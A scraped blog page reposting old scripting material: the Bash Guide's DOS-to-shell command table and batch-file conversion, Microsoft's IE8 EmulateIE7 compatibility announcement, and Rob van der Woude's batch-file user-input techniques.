class="OPTION">DELTREE</tt></td><td align="left" valign="top">rm -rf</td><td align="left" valign="top">delete directory recursively</td></tr><tr><td align="left" valign="top"><tt class="OPTION">DIR</tt></td><td align="left" valign="top">ls -l</td><td align="left" valign="top">directory listing</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ERASE</tt></td><td align="left" valign="top">rm</td><td align="left" valign="top">delete file(s)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">EXIT</tt></td><td align="left" valign="top">exit</td><td align="left" valign="top">exit current process</td></tr><tr><td align="left" valign="top"><tt class="OPTION">FC</tt></td><td align="left" valign="top">comm, cmp</td><td align="left" valign="top">file compare</td></tr><tr><td align="left" valign="top"><tt class="OPTION">FIND</tt></td><td align="left" valign="top">grep</td><td align="left" valign="top">find strings in files</td></tr><tr><td align="left" valign="top"><tt class="OPTION">MD</tt></td><td align="left" valign="top">mkdir</td><td align="left" valign="top">make directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">MKDIR</tt></td><td align="left" valign="top">mkdir</td><td align="left" valign="top">make directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">MORE</tt></td><td align="left" valign="top">more</td><td align="left" valign="top">text file paging filter</td></tr><tr><td align="left" valign="top"><tt class="OPTION">MOVE</tt></td><td align="left" valign="top">mv</td><td align="left" valign="top">move</td></tr><tr><td align="left" valign="top"><tt class="OPTION">PATH</tt></td><td align="left" valign="top">$PATH</td><td align="left" valign="top">path to executables</td></tr><tr><td align="left" valign="top"><tt class="OPTION">REN</tt></td><td align="left" valign="top">mv</td><td align="left" valign="top">rename (move)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">RENAME</tt></td><td align="left" valign="top">mv</td><td align="left" valign="top">rename (move)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">RD</tt></td><td align="left" valign="top">rmdir</td><td align="left" valign="top">remove directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">RMDIR</tt></td><td align="left" valign="top">rmdir</td><td align="left" valign="top">remove directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">SORT</tt></td><td align="left" valign="top">sort</td><td align="left" valign="top">sort file</td></tr><tr><td align="left" valign="top"><tt class="OPTION">TIME</tt></td><td align="left" valign="top">date</td><td align="left" valign="top">display system time</td></tr><tr><td align="left" valign="top"><tt class="OPTION">TYPE</tt></td><td align="left" valign="top">cat</td><td align="left" valign="top">output file to <tt class="FILENAME">stdout</tt></td></tr><tr><td align="left" valign="top"><tt class="OPTION">XCOPY</tt></td><td align="left" valign="top">cp</td><td align="left" valign="top">(extended) file copy</td></tr></tbody></table></div><div class="NOTE"><table class="NOTE" border="0" width="100%"><tbody><tr><td align="center" valign="top" width="25"><img alt="Note" hspace="5" src="http://tldp.org/LDP/abs/images/note.gif" /></td><td align="left" valign="top"><p>Virtually all UNIX and shell operators and commands have many more options and enhancements than their DOS and batch file counterparts. Many DOS batch files rely on auxiliary utilities, such as <b class="COMMAND">ask.com</b>, a crippled counterpart to <a href="http://tldp.org/LDP/abs/html/internal.html#READREF">read</a>.</p><p>DOS supports only a very limited and incompatible subset of filename <a href="http://tldp.org/LDP/abs/html/globbingref.html">wild-card expansion</a>, recognizing just the <span class="TOKEN">*</span> and <span class="TOKEN">?</span> characters.</p></td></tr></tbody></table></div><p>Converting a DOS batch file into a shell script is generally straightforward, and the result ofttimes reads better than the original.</p><div class="EXAMPLE"><a name="VIEWDAT"></a><p><b>Example L-1. VIEWDATA.BAT: DOS Batch File</b></p><table bg border="0" width="100%" style="color:#e0e0e0;"><tbody><tr><td><span style="color:#000000;"><pre class="PROGRAMLISTING">REM VIEWDATA<br /><br />REM INSPIRED BY AN EXAMPLE IN "DOS POWERTOOLS"<br />REM BY PAUL SOMERSON<br /><br /><br />@ECHO OFF<br /><br />IF !%1==! GOTO VIEWDATA<br />REM IF NO COMMAND-LINE ARG...<br />FIND "%1" C:\BOZO\BOOKLIST.TXT<br />GOTO EXIT0<br />REM PRINT LINE WITH STRING MATCH, THEN EXIT.<br /><br />:VIEWDATA<br />TYPE C:\BOZO\BOOKLIST.TXT | MORE<br />REM SHOW ENTIRE FILE, 1 PAGE AT A TIME.<br /><br />:EXIT0</pre></span></td></tr></tbody></table></div><p> The script conversion is somewhat of an improvement. <a href="http://tldp.org/LDP/abs/html/dosbatch.html#FTN.AEN23537" name="AEN23537"><span class="footnote">[1]</span></a> </p><div class="EXAMPLE"><a name="VIEWDATA"></a><p><b>Example L-2. <i class="FIRSTTERM">viewdata.sh</i>: Shell Script Conversion of VIEWDATA.BAT</b></p><table bg border="0" width="100%" style="color:#e0e0e0;"><tbody><tr><td><span style="color:#000000;"><pre class="PROGRAMLISTING">#!/bin/bash<br /># viewdata.sh<br /># Conversion of VIEWDATA.BAT to shell script.<br /><br />DATAFILE=/home/bozo/datafiles/book-collection.data<br />ARGNO=1<br /><br /># @ECHO OFF Command unnecessary here.<br /><br />if [ $# -lt "$ARGNO" ] # IF !%1==! GOTO VIEWDATA<br />then<br /> less $DATAFILE # TYPE C:\MYDIR\BOOKLIST.TXT | MORE<br />else<br /> grep "$1" $DATAFILE # FIND "%1" C:\MYDIR\BOOKLIST.TXT<br />fi <br /><br />exit 0 # :EXIT0<br /><br /># GOTOs, labels, smoke-and-mirrors, and flimflam unnecessary.<br /># The converted script is short, sweet, and clean,<br />#+ which is more than can be said for the original.</pre></span></td></tr></tbody></table></div><p>Ted Davis' <a href="http://www.maem.umr.edu/batch/" target="_top">Shell Scripts on the PC</a> site has a set of comprehensive tutorials on the old-fashioned art of batch file programming. Certain of his ingenious techniques could conceivably have relevance for shell scripts.</p></div><h3 class="FOOTNOTES">Notes</h3><table class="FOOTNOTES" border="0" width="100%"><tbody><tr><td align="left" valign="top" width="5%"><a href="http://tldp.org/LDP/abs/html/dosbatch.html#AEN23537" name="FTN.AEN23537"><span class="footnote">[1]</span></a></td><td align="left" valign="top" width="95%"><p>Various readers have suggested modifications of the above batch file to prettify it and make it more compact and efficient. In the opinion of the <em>ABS Guide</em> author, this is wasted effort. A Bash script can access a DOS filesystem, or even an NTFS partition (with the help of <a href="http://www.ntfs-3g.org/" target="_top">ntfs-3g</a>) to do batch or scripted operations.</p></td></tr></tbody></table><div class="NAVFOOTER"><hr align="left" width="100%"><table summary="Footer navigation table" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td align="left" valign="top" width="33%"><a accesskey="P" href="http://tldp.org/LDP/abs/html/sample-bashrc.html">Prev</a></td><td align="center" valign="top" width="34%"><a accesskey="H" href="http://tldp.org/LDP/abs/html/index.html">Home</a></td><td align="right" valign="top" width="33%"><a accesskey="N" href="http://tldp.org/LDP/abs/html/exercises.html">Next</a></td></tr><tr><td align="left" valign="top" width="33%">A Sample <tt class="FILENAME">.bashrc</tt> File</td><td align="center" valign="top" width="34%"> </td><td align="right" valign="top" width="33%">Exercises</td></tr></tbody></table></div> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httptldporgldpabshtmldosbatchhtml_04.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httptldporgldpabshtmldosbatchhtml_04.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-04T12:56:00+02:00'>12:56</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httptldporgldpabshtmldosbatchhtml_04.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=2691811379426364791&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='1089311887394442635' itemprop='postId'/> <a name='1089311887394442635'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://blogs.msdn.com/ie/archive/2008/06/10/introducing-ie-emulateie7.aspx'>http://blogs.msdn.com/ie/archive/2008/06/10/introducing-ie-emulateie7.aspx</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-1089311887394442635' itemprop='description articleBody'> <h2>Introducing IE=EmulateIE7</h2> <p>Bill Gates&#8217; recent <a href="http://www.microsoft.com/techedonline/default.aspx" mce_href="http://www.microsoft.com/techedonline/default.aspx">Tech Ed keynote</a> and Tony Chor&#8217;s <a href="http://blogs.msdn.com/ie/archive/2008/06/03/ie8-beta-2-coming-in-august.aspx" mce_href="http://blogs.msdn.com/ie/archive/2008/06/03/ie8-beta-2-coming-in-august.aspx">follow-up blog</a> announced that IE8 Beta 2 will be available in August in many languages. We are encouraging sites to get ready for Beta 2 prior to release as it will present a big jump in IE8 browsing traffic.</p> <p>What does &#8220;getting ready for IE8&#8221; mean for web sites? IE8 displays content in IE8 Standards mode &#8211; its most standards-compliant layout mode &#8211; by default. In previous blog posts, we&#8217;ve discussed how this aligns with <a href="http://blogs.msdn.com/ie/archive/2008/03/03/microsoft-s-interoperability-principles-and-ie8.aspx" mce_href="http://blogs.msdn.com/ie/archive/2008/03/03/microsoft-s-interoperability-principles-and-ie8.aspx">our commitment to Web standards interoperability</a><strong>. However, browsing with this default setting may cause content written for previous versions of IE to display differently than intended. This creates a &#8220;get ready&#8221; call to action for site owners to ensure their content will continue to display seamlessly in IE8.</strong></p> <p>The preferred response to this call to action is to update the site to ensure that IE8 is provided with standards content fitting the DOCTYPE. However, we know it is very important to give site owners the chance to update site content <i>on their schedule</i> without affecting user experience. As such, we provide a meta-tag that tells IE8 to display an entire site or a specific page like it did in IE7.</p> <p>In IE8 Beta 1, that option is the &#8220;IE=7&#8221; X-UA-Compatible tag, which instructs IE8 to display content in IE7 Standards mode. However, the scenario this doesn&#8217;t address is when IE=7 is applied as an HTTP header to a site that contains Quirks mode pages. The IE=7 HTTP header will force all pages &#8211; both Quirks and Standards &#8211; to display in IE7 Standards mode. Developers using this header while updating their sites would then have to add the &#8220;IE=5&#8221; <meta> tag to each page they want to keep in Quirks mode. This logic is fine for many websites. However, if a site has lots of Quirks mode pages, or for the case where pages with frames host a mix of Strict and Quirks mode content &#8211; as brought to light by IE8 Beta 1 user feedback &#8211; the compatibility opt-out adds a bit more work than we intended.</p> <p>In response to the great IE8 Beta 1 feedback we&#8217;ve received so far,<b> we are introducing the &#8220;IE=EmulateIE7&#8221; tag to address this problem</b>. EmulateIE7 tells IE8 to display standards DOCTYPEs in IE7 Standards mode, and Quirks DOCTYPEs in Quirks mode. We believe this will be the preferred IE7 compatibility mode for most cases. <a href="http://support.microsoft.com/kb/951804" mce_href="http://support.microsoft.com/kb/951804">Support for IE=EmulateIE7 is available now as part of the IE June Security Update for IE8 Beta 1</a>. Installing this update will enable you to verify you&#8217;ve applied the EmulateIE7 tag to your site correctly. </p> <p>In summary, IE7 compatibility support looks as follows:</p> <table border="2" cellpadding="2" cellspacing="0" width="480"> <tbody> <tr> <td valign="top" width="199"> <p align="center"><strong>Content Value</strong></p></td> <td valign="top" width="277"> <p align="center"><strong>Details</strong></p></td></tr> <tr> <td valign="top" width="200"> <p align="center">IE=7</p></td> <td valign="top" width="277">Display in IE7 Standards mode; Already supported in the IE8 Beta 1 release</td></tr> <tr> <td valign="top" width="200"> <p align="center"><span style="color: rgb(0, 128, 128);">IE=EmulateIE7</span></p></td> <td valign="top" width="277"><span style="color: rgb(0, 128, 128);">Display standards DOCTYPEs in IE7 Standards mode; Display quirks DOCTYPEs in Quirks mode; <b><a href="http://support.microsoft.com/kb/951804" mce_href="http://support.microsoft.com/kb/951804">Available through the IE June Security Update for IE8 Beta 1</a></b></span></td></tr></tbody></table> <p mce_keep="true">There are two ways to implement this tag: </p> <ul><li>On a per-site basis, add a custom HTTP header </li></ul> <blockquote> <p><span style="color: rgb(0, 128, 128);">X-UA-Compatible: IE=EmulateIE7</span></p></blockquote> <ul><li>On a per-page basis, add a special HTML tag to each document, right after the tag </li></ul> <blockquote> <p><span style="color: rgb(0, 128, 128);"><meta equiv="X-UA-Compatible" content="IE=EmulateIE7"></span></p></blockquote> <p>Implementing the HTTP header is beneficial if a site owner wants most of their site to render as it did in IE7 or if there are no plans to update site content. Inclusion of this header honors any Quirks mode pages that belong to the site.</p> <p>Using the meta-tag on a per-page basis is beneficial when the publisher wants to opt-in specific pages to render as they did in IE7.</p> <p><strong>NOTE:</strong> The X-UA-Compatible tag and header override any existing DOCTYPE. Also, the mode specified by the page takes precedent over the HTTP header. For example, you could add the EmulateIE7 HTTP header to a site, and set specific pages to display in IE8 mode (by using the meta-tag with content=&#8221;IE8&#8221;).</p> <p>Using the IE=EmulateIE7 compatibility tag is a simple way for users to continue their current experience when browsing your site until you can update with more standards-compliant content. Although adding this tag will prevent most display issues, you may also need to update your site to properly detect IE8. To learn more about IE8 document compatibility and browser detection, <a href="http://msdn.microsoft.com/en-us/ie/cc405106.aspx" mce_href="http://msdn.microsoft.com/en-us/ie/cc405106.aspx">check out the IE Compatibility Center</a>.</p> <p>Jefferson Fletcher <br />Product Manager <br />Internet Explorer</p> <p>P.S.: Here are some links to reference for adding custom HTTP headers on various versions of IIS and Apache servers: <a href="http://technet2.microsoft.com/windowsserver2008/en/library/0a9b040d-8cd9-4f81-b876-8d23c572ac9d1033.mspx?mfr=true">IIS7.0</a>, <a href="http://technet2.microsoft.com/windowsserver2008/en/library/c304c4a4-3f17-4361-8ac6-548a9334549c1033.mspx?mfr=true">IIS6.0</a>, <a href="http://httpd.apache.org/docs/2.2/mod/mod_headers.html">Apache 2.2</a>, <a href="http://httpd.apache.org/docs/2.0/mod/mod_headers.html">Apache 2.0</a>, <a href="http://httpd.apache.org/docs/1.3/mod/mod_headers.html">Apache 1.3</a></p> Published Tuesday, June 10, 2008 2:15 PM by <a href="http://blogs.msdn.com/user/Profile.aspx?UserID=3871" id="ctl00___ctl00___ctl01___Entry___AuthorLink">ieblog</a> <span id="ctl00___ctl00___ctl01___Entry___InlineTagEditorPanel">Filed under: <a href="http://blogs.msdn.com/ie/archive/tags/Tips+and+Tricks/default.aspx" rel="tag">Tips and Tricks</a>, <a href="http://blogs.msdn.com/ie/archive/tags/Developers/default.aspx" rel="tag">Developers</a>, <a href="http://blogs.msdn.com/ie/archive/tags/Compatibility/default.aspx" rel="tag">Compatibility</a> <br /></span>-- <br />map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_} <br />unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`" <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httpblogsmsdncomiearchive20080610introd.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httpblogsmsdncomiearchive20080610introd.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-04T10:53:00+02:00'>10:53</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httpblogsmsdncomiearchive20080610introd.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=1089311887394442635&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='646497703527650658' itemprop='postId'/> <a name='646497703527650658'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://www.robvanderwoude.com/userinput.php'>http://www.robvanderwoude.com/userinput.php</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-646497703527650658' itemprop='description articleBody'> User Input<br /><br />Sometimes we need some user interaction in our batch files.<br />We may need to know to which directory a file is to be copied, for example.<br />Or which drive needs to be formated.<br /><br />There are many ways to achieve this user interaction.<br /><br />The most basic form of user interaction, of course, is the PAUSE command, which halts the batch file until the user presses "any key" (apart from Ctrl, Alt, Shift, CapsLock, NumLock or ScrollLock).<br />Maybe not really sophisticated, but it works and is always available, in all DOS, Windows and OS/2 versions.<br />MS-DOS<br /><br />In the MS-DOS 3 days, a simple Yes/No question could be answered by changing to a temporary directory where two temporary batch files were located, Y.BAT and N.BAT.<br />Guess what happend if a user typed a completely different answer . . .<br /><br />Since MS-DOS 6 we have CHOICE.COM (CHOICE.EXE in later versions), a much more versatile and reliable way to solve one character answers like Yes/No.<br /><br />Unfortunately, the CHOICE command was discontinued in Windows NT 4 and later.<br />You may want to try my Poor Man's Choice instead, or use DEBUG to create REPLY.COM, as published in Microsoft Knowledge Base article Q77457: Accepting Keyboard Input in Batch Files.<br /><br />There is another way to receive user input: COPY CON<br /><br />The command:<br /><br />COPY CON filename<br /><br />copies the user input on the command line to the file filename.<br />To stop entering user input, the user has to type Ctrl+Z (or F6), followed by the Enter key.<br /><br />Many PC users and batch file authors (including myself), find this approach "less intuitive", to say the least. One would expect that pressing the enter key is enough, and once you find out it isn't, the previous line of input cannot be removed anymore.<br /><br />The following trick uses ANSI to perform some key translation: the Enter key is translated to the F6 key followed by the Enter key. Thus only one line of input can be entered, and pressing the Enter key sends the input to the temporary file USERINP.TMP.<br /><br />ECHO Enter some input, and press Enter when ready . . .<br />ECHO &#8592;[13;0;64;13p<br />COPY CON USRINPUT.TMP<br />ECHO &#8592;[13;13p<br />CLS<br />ECHO You typed:<br />TYPE USRINPUT.TMP<br /><br />Note: The &#8592; character is the Esc character, or ASCII character 27 (or 1B Hexadecimal).<br />It is a representation of the Esc key.<br />This Esc character is not to be confused with escape characters!<br /><br />The previous example is only a bare minimum. The following example not only asks for user input, but stores it in an environment variable USRINPUT as well:<br /><br />@ECHO OFF<br />REM * Ask for USeR INPUT and store it in variable USRINPUT<br />REM * Written by Rob van der Woude<br /><br />SET USRINPUT=<br /><br />REM * Turn on ANSI key translation (translate Enter<br />REM * key to F6+Enter sequence) and ask for input:<br />ECHO &#8592;[13;0;64;13pEnter one word only . . .<br /><br />REM * Copy entered text to temporary file:<br />COPY CON %TEMP%.\~USRINP.TMP<br /><br />REM * Turn off ANSI key translation and clear irrelevant screen output:<br />ECHO &#8592;[13;13p&#8592;[3A&#8592;[K&#8592;[1B&#8592;[K&#8592;[1B&#8592;[K&#8592;[2A<br /><br />REM * Add empty line to temporary file. The empty line<br />REM * will be used to stop DATE asking for new date.<br />ECHO.>> %TEMP%.\~USRINP.TMP<br />ECHO.>> %TEMP%.\~USRINP.TMP<br /><br />REM * Create a temporary batch file that will store the<br />REM * entered text into the environment variable USRINPUT:<br />TYPE %TEMP%.\~USRINP.TMP | DATE | FIND "):" > %TEMP%.\~USRINP.BAT<br /><br />REM * Create more temporary batch files. Add<br />REM * more command line parameters if necessary,<br />REM * as in: ECHO SET USRINPUT=%%3 %%4 %%5 %%6 %%7 %%8 %%9>CURRENT.BAT<br />ECHO SET USRINPUT=%%3>CURRENT.BAT<br /><br />REM * VOER.BAT and TYP.BAT are replacements for CURRENT.BAT for Dutch<br />REM * DOS versions; add your own language versions if necessary:<br />ECHO SET USRINPUT=%%6>VOER.BAT<br />ECHO SET USRINPUT=%%4>TYP.BAT<br /><br />REM * This temporary batch file now sets the variable USRINPUT:<br />CALL %TEMP%.\~USRINP.BAT<br /><br />REM * Display the result:<br />ECHO You typed: &#8592;[1m%USRINPUT%&#8592;[0m<br />ECHO.<br />PAUSE<br /><br />REM * Finally, clean up the mess of temporary files:<br />FOR %%A IN (%TEMP%.\~USRINP.BAT %TEMP%.\~USRINP.TMP VOER.BAT TYP.BAT CURRENT.BAT) DO DEL %%A<br /><br />Click to view source Click to download the ZIPped sources<br /><br />The previous batch file should work in every DOS version, assuming ANSI.SYS (or one of its replacements, like ANSI.COM) is loaded.<br />With a few minor adjustments (replace .BAT with .CMD everywhere) it can be used in OS/2 as well. Use READLINE instead, however, in OS/2's DOS sessions.<br /><br />The following batch file checks if ANSI.SYS is loaded. If so, it will tell the user to press the Enter key only. If not, it will tell the user to press F6 first, followed by the Enter key.<br />However, to check if ANSI.SYS is loaded, this batch file needs MS-DOS 6 or later.<br /><br />@ECHO OFF<br />REM * Asks for USeR INPut and store it in variable USRINPUT<br />REM * Uses ANSI if available, but works without ANSI too<br />REM * Assumes MS-DOS 6 or later<br />REM * Written by Rob van der Woude<br />REM * http://www.robvanderwoude.com<br /><br />SET USRINPUT=<br /><br />REM * Check if ANSI sequences can be used (needs at<br />REM * least MS-DOS 6 to get an errorlevel from FIND):<br />SET ANSI=1<br />MEM /C | FIND "ANSI" > NUL<br />IF ERRORLEVEL 1 SET ANSI=0<br /><br />REM * Turn on ANSI key translation (translate Enter<br />REM * key to F6 + Enter sequence) if possible:<br />IF "%ANSI%"=="1" ECHO &#8592;[13;0;64;13p<br /><br />REM * Ask for input:<br />IF "%ANSI%"=="0" ECHO Enter one word only, and press F6 followed by Enter . . .<br />IF "%ANSI%"=="1" ECHO Enter one word only, and press Enter . . .<br /><br />REM * Copy entered text to temporary file:<br />COPY CON %TEMP%.\~USRINP.TMP<br /><br />REM * Turn off ANSI key translation and clear irrelevant screen output:<br />IF "%ANSI%"=="0" CLS<br />IF "%ANSI%"=="1" ECHO &#8592;[13;13p&#8592;[3A&#8592;[K&#8592;[1B&#8592;[K&#8592;[1B&#8592;[K&#8592;[2A<br /><br />REM * Add empty line to temporary file. The empty line<br />REM * will be used to stop DATE asking for new date.<br />ECHO.>> %TEMP%.\~USRINP.TMP<br />ECHO.>> %TEMP%.\~USRINP.TMP<br /><br />REM * Create a temporary batch file that will store the<br />REM * entered text into the environment variable USRINPUT:<br />TYPE %TEMP%.\~USRINP.TMP | DATE | FIND "):" > %TEMP%.\~USRINP.BAT<br /><br />REM * Create more temporary batch files. Add<br />REM * more command line parameters if necessary,<br />REM * as in: ECHO SET USRINPUT=%%3 %%4 %%5 %%6 %%7 %%8 %%9>CURRENT.BAT<br />ECHO SET USRINPUT=%%3>CURRENT.BAT<br /><br />REM * VOER.BAT and TYP.BAT are replacements for CURRENT.BAT for Dutch<br />REM * DOS versions; add your own language versions if necessary:<br />ECHO SET USRINPUT=%%6>VOER.BAT<br />ECHO SET USRINPUT=%%4>TYP.BAT<br /><br />REM * This temporary batch file now sets the variable USRINPUT:<br />CALL %TEMP%.\~USRINP.BAT<br /><br />REM * Display the result:<br />IF "%ANSI%"=="0" ECHO You typed: %USRINPUT%<br />IF "%ANSI%"=="1" ECHO You typed: &#8592;[1m%USRINPUT%&#8592;[0m<br />ECHO.<br />PAUSE<br /><br />REM * Finally, clean up the mess of temporary files:<br />FOR %%A IN (%TEMP%.\~USRINP.BAT %TEMP%.\~USRINP.TMP VOER.BAT TYP.BAT CURRENT.BAT) DO DEL %%A<br />SET ANSI=<br /><br /> <br />Click to view source Click to download the ZIPped sources<br /> <br /><br />In NT we don't need temporary files and we can skip a few lines by using TYPE CON and FOR /F:<br /><br />@ECHO OFF<br />:: UserInNT.bat<br />:: How to use the TYPE CON command to receive user input<br />:: Written by Rob van der Woude<br />:: http://www.robvanderwoude.com<br /><br />ECHO.<br />ECHO Demonstration of receiving user input through the TYPE CON command.<br />ECHO Type in any string and close by pressing Enter, F6 (or Ctrl+Z), Enter.<br />ECHO Only the last non-empty line will be remembered, leading spaces are ignored.<br />ECHO.<br /><br />:: Only one single command line is needed to receive user input<br />FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET INPUT=%%A<br />:: Use quotes if you want to display redirection characters as well<br />ECHO You typed: "%INPUT%"<br /><br />It is still just as un-intuitive as the first COPY CON example, though.<br /> <br />Click to view source Click to download the ZIPped sources<br /> <br />Latest news: Replace TYPE CON by MORE in the above NT batch file and you can save yourself pressing Enter once -- you'll need to press F6, Enter only instead of Enter, F6, Enter, though the latter will still work.<br />[Tip posted by "Frank" on alt.msdos.batch.nt]<br /><br />Tom Lavedas' New and Improved Data Input Routine! shows a way to use a graphical box to ask for user input in Windows 95<br /><br />Duke Communications International, Inc.'s tip # 0323: How can I get a batch file to prompt me for parameters? shows a way to get a graphical box asking for user input in Windows NT<br /><br />Walter Zackery posted two interesting solutions to obtain user input in NT, on the alt.msdos.batch.nt news group.<br /><br />One solution uses the FORMAT command, which will fail since it tries to format a diskette in drive A: at 160KB.<br />If you have a 5&#188;" drive as your A: drive don't use this one.<br /><br />The second solution uses the LABEL command.<br />It will actually change drive C:'s volume label and then restore it again to its old value.<br />The volume label in NT is restricted to 32 characters, and so is the input string when using this LABEL trick for user input.<br />Besides that the batch file limits the string to 2 words (1 space) only.<br /><br />I adapted the original postings so that the batch files no longer need to use temporary files. You can view the original postings at my Solutions found at alt.msdos.batch page.<br /> <br />Click to view source Using FORMAT<br />Click to view source Using LABEL<br />Click to download the ZIPped sources <br /> <br /><br />Clay Calvert posted another interesting solution to obtain Yes or No input in most DOS versions by using DEL's /P switch (prompt for confirmation).<br /><br />Another great solution by Eric Phelps uses a temporary HTA file to obscure a password while it is being typed.<br />Windows 2000/XP<br /><br />In Windows 2000, user input can be obtained quite easily by using SET /P<br /><br />SET /P variable=[promptString]<br /><br />This command will display an optional promptString where the user can type in a string and press Enter. The typed string will then be stored in the specified environment variable variable.<br />KiXtart<br /><br />A non-batch solution for Windows 95/98/NT/2000 users is the GETS function in KiXtart:<br /><br />@ECHO OFF<br />:: UsrInKix.bat, Version 1.00 for Win32<br />:: Batch file using Kix to retrieve user input<br />:: Written by Rob van der Woude<br />:: http://www.robvanderwoude.com<br /><br />:: Create a temporary Kix script that will<br />:: in turn create a temporary batch file:<br />> %TEMP%.\UserIn.kix ECHO REDIRECTOUTPUT( "NUL" )<br />>>%TEMP%.\UserIn.kix ECHO GETS $UserIn<br />>>%TEMP%.\UserIn.kix ECHO IF OPEN( 1, "@SCRIPTDIR\UserIn.bat", 5 ) = 0<br />>>%TEMP%.\UserIn.kix ECHO WRITELINE( 1, "SET UserIn=" + $UserIn )<br />>>%TEMP%.\UserIn.kix ECHO ELSE<br />>>%TEMP%.\UserIn.kix ECHO ? "Error opening temporary file, errorcode = " + @ERROR<br />>>%TEMP%.\UserIn.kix ECHO ENDIF<br />:: Prompt for user input:<br />ECHO Type anything you like and press Enter when finished:<br />:: retrieve user input using the Kix script, and<br />:: then store the result in a temporary batch file:<br />KIX32.EXE %TEMP%.\UserIn.kix<br />:: Call the temporary batch file to store<br />:: the result in an environment variable:<br />CALL %TEMP%.\UserIn.bat<br />:: Clean up the temporary files:<br />IF EXIST %TEMP%.\UserIn.* DEL %TEMP%.\UserIn.*<br />:: Finaly, display the result:<br />ECHO You typed: %UserIn%<br /><br /> <br />Click to view source Click to download the ZIPped sources<br /> <br />VBScript<br /><br />More advanced dialog boxes, output and input, including (masked) password prompts, can be created using VBScript and Internet Explorer, but I would not recommend creating them on the fly.<br />Sample change password dialog created using VBScript and Internet Explorer<br /><br />See the VBScript Scripting Techniques section for some of these advanced user message windows.<br />OS/2<br /><br />OS/2 users may want to take a look at UserInPM, a utility written in VX-Rexx, displaying a small PM window asking for user input.<br />It creates a temporary batch file to set an environment variable to the typed input.<br />An example batch file, with the resulting PM window:<br /><br />SET USRINPUT=<br />USRINPUT.EXE Type whatever you like:<br />CALL USRINPUT.CMD<br />ECHO User input: %USRINPUT%<br /><br />USRINPUT dialogue window<br /><br />You will need the VX-Rexx runtime library VROBJ.DLL to run UserInPM. <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecomuserinputphp.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecomuserinputphp.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-04T10:04:00+02:00'>10:04</abbr></a> </span> <span class='post-comment-link'> 